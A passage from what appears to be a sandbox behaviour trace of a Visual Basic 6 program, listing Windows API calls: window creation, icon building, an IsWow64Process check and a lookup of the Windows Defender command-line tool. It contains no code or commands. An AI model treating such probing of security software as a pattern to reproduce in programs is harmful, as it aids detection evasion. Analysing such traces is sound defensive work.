wParam=0x0, lParam=0x130061) returned 0x0 [0188.552] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x20274, Msg=0x3, wParam=0x0, lParam=0xc801b0) returned 0x0 [0188.553] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x14) returned 0x383edb8 [0188.553] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x20274, Msg=0x30, wParam=0xb0a0986, lParam=0x0) returned 0x1 [0188.553] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x20274, Msg=0xd3, wParam=0xffff, lParam=0x0) returned 0x0 [0188.553] ShowWindow (hWnd=0x20274, nCmdShow=5) returned 0 [0188.553] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x20274, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0188.553] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0xf0) returned 0x3840880 [0188.553] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x15) returned 0x383edd8 [0188.554] lstrlenA (lpString="ThunderRT6") returned 10 [0188.554] lstrcpyA (in: lpString1=0x18ecf0, lpString2="ThunderRT6" | out: lpString1="ThunderRT6") returned="ThunderRT6" [0188.554] CreateWindowExA (dwExStyle=0x4, lpClassName=0xc122, lpWindowName=0x0, dwStyle=0x44b10081, X=432, Y=8, nWidth=145, nHeight=184, hWndParent=0x60106, hMenu=0x6, hInstance=0x72940000, lpParam=0x0) returned 0x2028c [0188.554] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x2028c, Msg=0x81, wParam=0x0, lParam=0x18e8d4) returned 0x1 [0188.554] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x2028c, Msg=0x83, wParam=0x0, lParam=0x18e8c0) returned 0x0 [0188.555] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x2028c, Msg=0x1, wParam=0x0, lParam=0x18e8d4) returned 0x1 [0188.555] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x2028c, Msg=0x5, wParam=0x0, lParam=0xa5007e) returned 0x0 [0188.555] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x2028c, Msg=0x46, wParam=0x0, lParam=0x18e44c) returned 0x0 [0188.555] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x2028c, Msg=0x83, wParam=0x1, lParam=0x18e424) returned 0x0 [0188.570] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x2028c, Msg=0x47, wParam=0x0, lParam=0x18e44c) returned 0x0 [0188.570] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x2028c, Msg=0x5, wParam=0x0, lParam=0x9f007e) returned 0x0 [0188.571] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x2028c, Msg=0x46, wParam=0x0, lParam=0x18d974) returned 0x0 [0188.571] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x2028c, Msg=0x83, wParam=0x1, lParam=0x18d94c) returned 0x0 [0188.571] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x2028c, Msg=0x47, wParam=0x0, lParam=0x18d974) returned 0x0 [0188.571] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x2028c, Msg=0x5, wParam=0x0, lParam=0x9f008f) returned 0x0 [0188.572] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x2028c, Msg=0x46, wParam=0x0, lParam=0x18ceb4) returned 0x0 [0188.573] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x2028c, Msg=0x83, wParam=0x1, lParam=0x18ce8c) returned 0x0 [0188.573] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x2028c, Msg=0x47, wParam=0x0, lParam=0x18ceb4) returned 0x0 [0188.573] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x2028c, Msg=0x5, wParam=0x0, lParam=0xb0008f) returned 0x0 [0188.577] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x2028c, Msg=0x3, wParam=0x0, lParam=0x901b1) returned 0x0 [0188.577] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x14) returned 0x383edf8 [0188.578] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x2028c, Msg=0x30, wParam=0xb0a0986, lParam=0x0) returned 0x0 [0188.578] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x2028c, Msg=0x46, wParam=0x0, lParam=0x18e98c) returned 0x0 [0188.578] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x2028c, Msg=0x83, wParam=0x1, lParam=0x18e964) returned 0x0 [0188.578] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x2028c, Msg=0x47, wParam=0x0, lParam=0x18e98c) returned 0x0 [0188.578] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x2028c, Msg=0x5, wParam=0x0, lParam=0xa9008f) returned 0x0 [0188.579] SendMessageA (hWnd=0x2028c, Msg=0x18b, wParam=0x0, lParam=0x0) returned 0x0 [0188.579] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x2028c, Msg=0x18b, wParam=0x0, lParam=0x0) returned 0x0 [0188.579] SendMessageA (hWnd=0x2028c, Msg=0x184, wParam=0x0, lParam=0x0) returned 0x0 [0188.580] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x2028c, Msg=0x184, wParam=0x0, lParam=0x0) returned 0x0 [0188.580] SendMessageA (hWnd=0x2028c, Msg=0x18b, wParam=0x0, lParam=0x0) returned 0x0 [0188.580] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x2028c, Msg=0x18b, wParam=0x0, lParam=0x0) returned 0x0 [0188.580] ShowWindow (hWnd=0x2028c, nCmdShow=5) returned 0 [0188.580] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x2028c, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0188.580] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0xf0) returned 0x3840978 [0188.580] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x15) returned 0x383ee18 [0188.580] lstrlenA (lpString="ThunderRT6") returned 10 [0188.580] lstrcpyA (in: lpString1=0x18ecf0, lpString2="ThunderRT6" | out: lpString1="ThunderRT6") returned="ThunderRT6" [0188.580] CreateWindowExA (dwExStyle=0x4, lpClassName=0xc122, lpWindowName=0x0, dwStyle=0x44b10081, X=8, Y=8, nWidth=417, nHeight=119, hWndParent=0x60106, hMenu=0x7, hInstance=0x72940000, lpParam=0x0) returned 0x2028e [0188.580] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x2028e, Msg=0x81, wParam=0x0, lParam=0x18e8d4) returned 0x1 [0188.581] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x2028e, Msg=0x83, wParam=0x0, lParam=0x18e8c0) returned 0x0 [0188.581] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x2028e, Msg=0x1, wParam=0x0, lParam=0x18e8d4) returned 0x1 [0188.581] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x2028e, Msg=0x5, wParam=0x0, lParam=0x64018e) returned 0x0 [0188.581] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x2028e, Msg=0x46, wParam=0x0, lParam=0x18e44c) returned 0x0 [0188.581] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x2028e, Msg=0x83, wParam=0x1, lParam=0x18e424) returned 0x0 [0188.582] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x2028e, Msg=0x47, wParam=0x0, lParam=0x18e44c) returned 0x0 [0188.582] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x2028e, Msg=0x5, wParam=0x0, lParam=0x5f018e) returned 0x0 [0188.582] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x2028e, Msg=0x46, wParam=0x0, lParam=0x18d974) returned 0x0 [0188.583] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x2028e, Msg=0x83, wParam=0x1, lParam=0x18d94c) returned 0x0 [0188.583] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x2028e, Msg=0x47, wParam=0x0, lParam=0x18d974) returned 0x0 [0188.583] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x2028e, Msg=0x5, wParam=0x0, lParam=0x5f019f) returned 0x0 [0188.584] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x2028e, Msg=0x46, wParam=0x0, lParam=0x18ceb4) returned 0x0 [0188.584] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x2028e, Msg=0x83, wParam=0x1, lParam=0x18ce8c) returned 0x0 [0188.585] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x2028e, Msg=0x47, wParam=0x0, lParam=0x18ceb4) returned 0x0 [0188.585] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x2028e, Msg=0x5, wParam=0x0, lParam=0x70019f) returned 0x0 [0188.587] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x2028e, Msg=0x3, wParam=0x0, lParam=0x90009) returned 0x0 [0188.587] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x14) returned 0x383ee38 [0188.587] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x2028e, Msg=0x30, wParam=0xb0a0986, lParam=0x0) returned 0x0 [0188.587] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x2028e, Msg=0x46, wParam=0x0, lParam=0x18e98c) returned 0x0 [0188.587] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x2028e, Msg=0x83, wParam=0x1, lParam=0x18e964) returned 0x0 [0188.588] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x2028e, Msg=0x47, wParam=0x0, lParam=0x18e98c) returned 0x0 [0188.588] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x2028e, Msg=0x5, wParam=0x0, lParam=0x68019f) returned 0x0 [0188.589] ShowWindow (hWnd=0x2028e, nCmdShow=5) returned 0 [0188.589] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x2028e, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0188.589] GetClientRect (in: hWnd=0x60106, lpRect=0x18ee60 | out: lpRect=0x18ee60) returned 1 [0188.589] MapWindowPoints (in: hWndFrom=0x60106, hWndTo=0x0, lpPoints=0x18ee60, cPoints=0x2 | out: lpPoints=0x18ee60) returned 3604513 [0188.589] EqualRect (lprc1=0x18ee60, lprc2=0x18ee40) returned 1 [0188.589] SetEvent (hEvent=0x788) returned 1 [0188.589] SendMessageA (hWnd=0x60106, Msg=0x80, wParam=0x1, lParam=0x90129) returned 0x0 [0188.589] GetCapture () returned 0x0 [0188.590] GetCapture () returned 0x0 [0188.590] NtdllDefWindowProc_A (hWnd=0x60106, Msg=0x80, wParam=0x1, lParam=0x90129) returned 0x0 [0188.591] GetCapture () returned 0x0 [0188.591] GetCapture () returned 0x0 [0188.591] NtdllDefWindowProc_A (hWnd=0x60106, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x201c5 [0188.593] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x18ed1c | out: ppstm=0x18ed1c*=0x14f90f8) returned 0x0 [0188.593] GetSystemMetrics (nIndex=49) returned 16 [0188.593] GetSystemMetrics (nIndex=50) returned 16 [0188.593] IStream:RemoteSeek (in: This=0x14f90f8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0188.593] ISequentialStream:RemoteRead (in: This=0x14f90f8, pv=0x18eccc, cb=0x6, pcbRead=0x0 | out: pv=0x18eccc*=0x0, pcbRead=0x0) returned 0x0 [0188.593] ISequentialStream:RemoteRead (in: This=0x14f90f8, pv=0x18eca4, cb=0x10, pcbRead=0x0 | out: pv=0x18eca4*=0x10, pcbRead=0x0) returned 0x0 [0188.593] IStream:RemoteSeek (in: This=0x14f90f8, dlibMove=0x16, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0188.594] GlobalLock (hMem=0x396008c) returned 0x14ffe28 [0188.594] ISequentialStream:RemoteRead (in: This=0x14f90f8, pv=0x14ffe28, cb=0x28, pcbRead=0x0 | out: pv=0x14ffe28*=0x28, pcbRead=0x0) returned 0x0 [0188.594] ISequentialStream:RemoteRead (in: This=0x14f90f8, pv=0x14ffe50, cb=0x540, pcbRead=0x0 | out: pv=0x14ffe50*=0x0, pcbRead=0x0) returned 0x0 [0188.594] GlobalUnlock (hMem=0x396008c) returned 0 [0188.594] GlobalLock (hMem=0x396008c) returned 0x14ffe28 [0188.594] GlobalSize (hMem=0x396008c) returned 0x568 [0188.594] GetDC (hWnd=0x0) returned 0x15010a6c [0188.594] CreateCompatibleBitmap (hdc=0x15010a6c, cx=32, cy=32) returned 0x7050a85 [0188.594] SelectObject (hdc=0xd70109a6, h=0x7050a85) returned 0x185000f [0188.594] StretchDIBits (hdc=0xd70109a6, xDest=0, yDest=0, DestWidth=32, DestHeight=32, xSrc=0, ySrc=0, SrcWidth=16, SrcHeight=16, lpBits=0x1500250, lpbmi=0x14ffe28, iUsage=0x0, rop=0xcc0020) returned 16 [0188.594] GetObjectA (in: h=0x7050a85, c=24, pv=0x18ec3c | out: pv=0x18ec3c) returned 24 [0188.594] GlobalLock (hMem=0x3960094) returned 0x15003a0 [0188.594] GetBitmapBits (in: hbit=0x7050a85, cb=4096, lpvBits=0x15003a0 | out: lpvBits=0x15003a0) returned 4096 [0188.594] SelectObject (hdc=0xd70109a6, h=0x185000f) returned 0x7050a85 [0188.594] DeleteObject (ho=0x7050a85) returned 1 [0188.594] CreateBitmap (nWidth=32, nHeight=32, nPlanes=0x1, nBitCount=0x1, lpBits=0x0) returned 0x8050a85 [0188.595] SelectObject (hdc=0xd70109a6, h=0x8050a85) returned 0x185000f [0188.595] StretchDIBits (hdc=0xd70109a6, xDest=0, yDest=0, DestWidth=32, DestHeight=32, xSrc=0, ySrc=0, SrcWidth=16, SrcHeight=16, lpBits=0x1500350, lpbmi=0x14ffe28, iUsage=0x0, rop=0xcc0020) returned 16 [0188.595] GetObjectA (in: h=0x8050a85, c=24, pv=0x18ec24 | out: pv=0x18ec24) returned 24 [0188.595] GlobalLock (hMem=0x396009c) returned 0x53dcf58 [0188.595] GetBitmapBits (in: hbit=0x8050a85, cb=128, lpvBits=0x53dcf58 | out: lpvBits=0x53dcf58) returned 128 [0188.595] CreateIcon (hInstance=0x400000, nWidth=32, nHeight=32, cPlanes=0x1, cBitsPixel=0x20, lpbANDbits=0x53dcf58, lpbXORbits=0x15003a0) returned 0x380171 [0188.595] GlobalUnlock (hMem=0x3960094) returned 0 [0188.595] GlobalUnlock (hMem=0x396009c) returned 0 [0188.595] SelectObject (hdc=0xd70109a6, h=0x185000f) returned 0x8050a85 [0188.595] DeleteObject (ho=0x8050a85) returned 1 [0188.595] ReleaseDC (hWnd=0x0, hDC=0x15010a6c) returned 1 [0188.595] GlobalUnlock (hMem=0x396008c) returned 0 [0188.595] SendMessageA (hWnd=0x60106, Msg=0x80, wParam=0x0, lParam=0x380171) returned 0x0 [0188.595] GetCapture () returned 0x0 [0188.595] GetCapture () returned 0x0 [0188.595] NtdllDefWindowProc_A (hWnd=0x60106, Msg=0x80, wParam=0x0, lParam=0x380171) returned 0x0 [0188.596] IUnknown:Release (This=0x14f90f8) returned 0x0 [0188.596] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x50282, Msg=0xc5, wParam=0x0, lParam=0x0) returned 0x1 [0188.596] GetFocus () returned 0x40298 [0188.596] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x30296, Msg=0xc5, wParam=0x0, lParam=0x0) returned 0x1 [0188.596] GetFocus () returned 0x40298 [0188.596] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x20274, Msg=0xc5, wParam=0x0, lParam=0x0) returned 0x1 [0188.596] GetFocus () returned 0x40298 [0188.596] MonitorFromWindow (hwnd=0x2028c, dwFlags=0x2) returned 0x10001 [0188.596] GetMonitorInfoA (in: hMonitor=0x10001, lpmi=0x18edac | out: lpmi=0x18edac) returned 1 [0188.596] GetWindowLongA (hWnd=0x2028c, nIndex=-16) returned 1417740417 [0188.596] SelectObject (hdc=0xd70109a6, h=0xb0a0986) returned 0x18a002e [0188.596] GetTextMetricsA (in: hdc=0xd70109a6, lptm=0x18ec78 | out: lptm=0x18ec78) returned 1 [0188.596] SelectObject (hdc=0xd70109a6, h=0x18a002e) returned 0xb0a0986 [0188.596] GetParent (hWnd=0x2028c) returned 0x60106 [0188.596] GetWindowRect (in: hWnd=0x2028c, lpRect=0x18edac | out: lpRect=0x18edac) returned 1 [0188.596] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x60106, lpPoints=0x18edac, cPoints=0x2 | out: lpPoints=0x18edac) returned -3538977 [0188.596] MoveWindow (hWnd=0x2028c, X=432, Y=8, nWidth=145, nHeight=184, bRepaint=1) returned 1 [0188.597] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x2028c, Msg=0x46, wParam=0x0, lParam=0x18ed48) returned 0x0 [0188.597] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x2028c, Msg=0x83, wParam=0x1, lParam=0x18ed20) returned 0x0 [0188.597] GetParent (hWnd=0x2028c) returned 0x60106 [0188.597] GetWindowRect (in: hWnd=0x2028c, lpRect=0x18ea7c | out: lpRect=0x18ea7c) returned 1 [0188.597] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x60106, lpPoints=0x18ea7c, cPoints=0x2 | out: lpPoints=0x18ea7c) returned -3538977 [0188.597] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x2028c, Msg=0x47, wParam=0x0, lParam=0x18ed48) returned 0x0 [0188.598] GetWindowLongA (hWnd=0x2028c, nIndex=-16) returned 1417740417 [0188.598] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x2028c, Msg=0x5, wParam=0x0, lParam=0xb6008f) returned 0x0 [0188.598] GetParent (hWnd=0x2028c) returned 0x60106 [0188.598] GetWindowRect (in: hWnd=0x2028c, lpRect=0x18edac | out: lpRect=0x18edac) returned 1 [0188.599] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x60106, lpPoints=0x18edac, cPoints=0x2 | out: lpPoints=0x18edac) returned -3538977 [0188.599] MonitorFromWindow (hwnd=0x2028e, dwFlags=0x2) returned 0x10001 [0188.599] GetMonitorInfoA (in: hMonitor=0x10001, lpmi=0x18edac | out: lpmi=0x18edac) returned 1 [0188.599] GetWindowLongA (hWnd=0x2028e, nIndex=-16) returned 1417740417 [0188.599] SelectObject (hdc=0xd70109a6, h=0xb0a0986) returned 0x18a002e [0188.599] GetTextMetricsA (in: hdc=0xd70109a6, lptm=0x18ec78 | out: lptm=0x18ec78) returned 1 [0188.599] SelectObject (hdc=0xd70109a6, h=0x18a002e) returned 0xb0a0986 [0188.599] GetParent (hWnd=0x2028e) returned 0x60106 [0188.599] GetWindowRect (in: hWnd=0x2028e, lpRect=0x18edac | out: lpRect=0x18edac) returned 1 [0188.599] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x60106, lpPoints=0x18edac, cPoints=0x2 | out: lpPoints=0x18edac) returned -3538977 [0188.599] MoveWindow (hWnd=0x2028e, X=8, Y=8, nWidth=417, nHeight=119, bRepaint=1) returned 1 [0188.599] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x2028e, Msg=0x46, wParam=0x0, lParam=0x18ed48) returned 0x0 [0188.599] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x2028e, Msg=0x83, wParam=0x1, lParam=0x18ed20) returned 0x0 [0188.600] GetParent (hWnd=0x2028e) returned 0x60106 [0188.600] GetWindowRect (in: hWnd=0x2028e, lpRect=0x18ea7c | out: lpRect=0x18ea7c) returned 1 [0188.600] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x60106, lpPoints=0x18ea7c, cPoints=0x2 | out: lpPoints=0x18ea7c) returned -3538977 [0188.600] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x2028e, Msg=0x47, wParam=0x0, lParam=0x18ed48) returned 0x0 [0188.600] GetWindowLongA (hWnd=0x2028e, nIndex=-16) returned 1417740417 [0188.600] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x2028e, Msg=0x5, wParam=0x0, lParam=0x75019f) returned 0x0 [0188.601] GetParent (hWnd=0x2028e) returned 0x60106 [0188.601] GetWindowRect (in: hWnd=0x2028e, lpRect=0x18edac | out: lpRect=0x18edac) returned 1 [0188.601] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x60106, lpPoints=0x18edac, cPoints=0x2 | out: lpPoints=0x18edac) returned -3538977 [0188.601] IsIconic (hWnd=0x60106) returned 0 [0188.601] IsZoomed (hWnd=0x60106) returned 0 [0188.601] GetClientRect (in: hWnd=0x60106, lpRect=0x18ee54 | out: lpRect=0x18ee54) returned 1 [0188.601] GetWindow (hWnd=0x60106, uCmd=0x5) returned 0x50282 [0188.601] GetWindow (hWnd=0x50282, uCmd=0x2) returned 0x30284 [0188.601] GetParent (hWnd=0x50282) returned 0x60106 [0188.601] GetWindow (hWnd=0x30284, uCmd=0x2) returned 0x3027e [0188.601] GetParent (hWnd=0x30284) returned 0x60106 [0188.601] GetWindow (hWnd=0x3027e, uCmd=0x2) returned 0x30296 [0188.601] GetParent (hWnd=0x3027e) returned 0x60106 [0188.601] GetWindow (hWnd=0x30296, uCmd=0x2) returned 0x20274 [0188.602] GetParent (hWnd=0x30296) returned 0x60106 [0188.602] GetWindow (hWnd=0x20274, uCmd=0x2) returned 0x2028c [0188.602] GetParent (hWnd=0x20274) returned 0x60106 [0188.602] GetWindow (hWnd=0x2028c, uCmd=0x2) returned 0x2028e [0188.602] GetParent (hWnd=0x2028c) returned 0x60106 [0188.602] GetWindow (hWnd=0x2028e, uCmd=0x2) returned 0x0 [0188.602] GetParent (hWnd=0x2028e) returned 0x60106 [0188.602] IsWindowVisible (hWnd=0x60106) returned 0 [0188.602] ShowWindow (hWnd=0x60106, nCmdShow=0) returned 0 [0188.603] SysStringLen (param_1="kernel32") returned 0x8 [0188.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kernel32", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0188.603] SysStringLen (param_1="kernel32") returned 0x8 [0188.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kernel32", cchWideChar=9, lpMultiByteStr=0x1436794, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kernel32", lpUsedDefaultChar=0x0) returned 9 [0188.603] SetErrorMode (uMode=0x8001) returned 0x8001 [0188.603] LoadLibraryA (lpLibFileName="kernel32") returned 0x76d30000 [0188.603] SetErrorMode (uMode=0x8001) returned 0x8001 [0188.604] GetProcAddress (hModule=0x76d30000, lpProcName="GetModuleHandleA") returned 0x76d41245 [0188.604] GetModuleHandleA (lpModuleName="kernel32") returned 0x76d30000 [0188.604] GetLastError () returned 0x0 [0188.604] SysStringLen (param_1="IsWow64Process") returned 0xe [0188.604] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="IsWow64Process", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0188.604] SysStringLen (param_1="IsWow64Process") returned 0xe [0188.604] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="IsWow64Process", cchWideChar=15, lpMultiByteStr=0x14f5634, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IsWow64Process", lpUsedDefaultChar=0x0) returned 15 [0188.604] SetErrorMode (uMode=0x8001) returned 0x8001 [0188.604] LoadLibraryA (lpLibFileName="kernel32") returned 0x76d30000 [0188.604] SetErrorMode (uMode=0x8001) returned 0x8001 [0188.605] GetProcAddress (hModule=0x76d30000, lpProcName="GetProcAddress") returned 0x76d41222 [0188.605] GetProcAddress (hModule=0x76d30000, lpProcName="IsWow64Process") returned 0x76d4195e [0188.605] GetLastError () returned 0x0 [0188.605] SetErrorMode (uMode=0x8001) returned 0x8001 [0188.605] LoadLibraryA (lpLibFileName="kernel32") returned 0x76d30000 [0188.605] SetErrorMode (uMode=0x8001) returned 0x8001 [0188.606] GetProcAddress (hModule=0x76d30000, lpProcName="GetCurrentProcess") returned 0x76d41809 [0188.606] GetCurrentProcess () returned 0xffffffff [0188.606] GetLastError () returned 0x0 [0188.606] SetErrorMode (uMode=0x8001) returned 0x8001 [0188.606] LoadLibraryA (lpLibFileName="kernel32") returned 0x76d30000 [0188.606] SetErrorMode (uMode=0x8001) returned 0x8001 [0188.606] GetProcAddress (hModule=0x76d30000, lpProcName="IsWow64Process") returned 0x76d4195e [0188.606] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x18ebc0 | out: Wow64Process=0x18ebc0) returned 1 [0188.606] GetLastError () returned 0x0 [0188.607] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Windows Defender\\mpcmdrun.exe", cchWideChar=-1, lpMultiByteStr=0x18e624, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Windows Defender\\mpcmdrun.exe", lpUsedDefaultChar=0x0) returned 47 [0188.607] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Windows Defender\\mpcmdrun.exe", nBufferLength=0x104, lpBuffer=0x18e860, lpFilePart=0x18e61c | out: lpBuffer="C:\\Program Files\\Windows Defender\\mpcmdrun.exe", lpFilePart=0x18e61c*="mpcmdrun.exe") returned 0x2e [0188.607] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Windows Defender\\mpcmdrun.exe", cchWideChar=-1, lpMultiByteStr=0x18eaac, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Windows Defender\\mpcmdrun.exe", lpUsedDefaultChar=0x0) returned 47 [0188.607] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Defender\\mpcmdrun.exe", lpFindFileData=0x18e5fc | out: lpFindFileData=0x18e5fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f7bb298, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x1f7bb298, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe86ec360, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2ea00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpCmdRun.exe", cAlternateFileName="")) returned 0x143d108 [0188.607] FileTimeToLocalFileTime (in: lpFileTime=0x18e600, lpLocalFileTime=0x18e5d0 | out: lpLocalFileTime=0x18e5d0) returned 1 [0188.607] FileTimeToSystemTime (in: lpFileTime=0x18e5d0, lpSystemTime=0x18e5d8 | out: lpSystemTime=0x18e5d8) returned 1 [0188.607] FileTimeToLocalFileTime (in: lpFileTime=0x18e608, lpLocalFileTime=0x18e5d0 | out: lpLocalFileTime=0x18e5d0) returned 1 [0188.607] FileTimeToSystemTime (in: lpFileTime=0x18e5d0, lpSystemTime=0x18e5d8 | out: lpSystemTime=0x18e5d8) returned 1 [0188.607] FileTimeToLocalFileTime (in: lpFileTime=0x18e610, lpLocalFileTime=0x18e5d0 | out: lpLocalFileTime=0x18e5d0) returned 1 [0188.607] FileTimeToSystemTime (in: lpFileTime=0x18e5d0, lpSystemTime=0x18e5d8 | out: lpSystemTime=0x18e5d8) returned 1 [0188.608] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e988, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 13 [0188.608] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e988, cbMultiByte=-1, lpWideCharStr=0x1436794, cchWideChar=13 | out: lpWideCharStr="MpCmdRun.exe") returned 13 [0188.608] VarBstrCmp (bstrLeft="MpCmdRun.exe", bstrRight="", lcid=0x0, dwFlags=0x30001) returned 0x2 [0188.608] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ebc0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="\"") returned 1 [0188.608] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ebc0, cbMultiByte=1, lpWideCharStr=0x53a5384, cchWideChar=1 | out: lpWideCharStr="\"") returned 1 [0188.608] VarCat (in: pvarLeft=0x18ec78, 